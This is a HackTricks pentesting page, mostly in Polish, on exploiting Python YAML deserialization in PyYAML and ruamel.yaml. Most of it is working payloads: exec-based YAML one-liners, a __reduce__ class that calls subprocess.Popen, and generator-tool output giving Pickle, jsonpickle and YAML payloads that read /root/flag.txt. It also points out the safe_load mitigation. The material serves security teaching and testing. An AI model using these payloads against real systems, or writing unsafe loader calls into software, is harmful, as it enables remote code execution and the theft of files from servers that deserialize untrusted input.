Python Yaml Deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Yaml Deserialization

Biblioteki Yaml w Pythonie są również w stanie serializować obiekty Pythona i nie tylko surowe dane:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Sprawdź, jak krotka nie jest surowym typem danych i dlatego została zserializowana. To samo dotyczy zakresu (pochodzącego z builtins).

safe_load() lub safe_load_all() używa SafeLoader i nie obsługuje deserializacji obiektów klas. Przykład deserializacji obiektów klas:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Poprzedni kod używał unsafe_load do załadowania zserializowanej klasy Pythona. Dzieje się tak, ponieważ w wersji >= 5.1 nie pozwala na deserializację żadnej zserializowanej klasy Pythona lub atrybutu klasy, gdy Loader nie jest określony w load() lub Loader=SafeLoader.

Podstawowy Eksploit

Przykład na to, jak wykonać sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Wrażliwe .load("<content>") bez Loader

Stare wersje pyyaml były podatne na ataki deserializacji, jeśli nie określiłeś Loader podczas ładowania czegoś: yaml.load(data)

Możesz znaleźć opis podatności tutaj. Proponowany eksploit na tej stronie to:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Lub możesz również użyć tego jednolinijkowca dostarczonego przez @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Zauważ, że w nowszych wersjach nie możesz już wywołać .load() bez Loader i FullLoader nie jest już podatny na ten atak.

RCE

Niestandardowe ładunki mogą być tworzone za pomocą modułów Python YAML, takich jak PyYAML lub ruamel.yaml. Te ładunki mogą wykorzystywać luki w systemach, które deserializują nieufne dane wejściowe bez odpowiedniej sanitizacji.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Narzędzie do tworzenia ładunków

Narzędzie https://github.com/j0lt-github/python-deserialization-attack-payload-generator może być używane do generowania ładunków deserializacji w Pythonie w celu nadużycia Pickle, PyYAML, jsonpickle i ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

References

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

• https://net-square.com/yaml-deserialization-attack-in-python.html

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.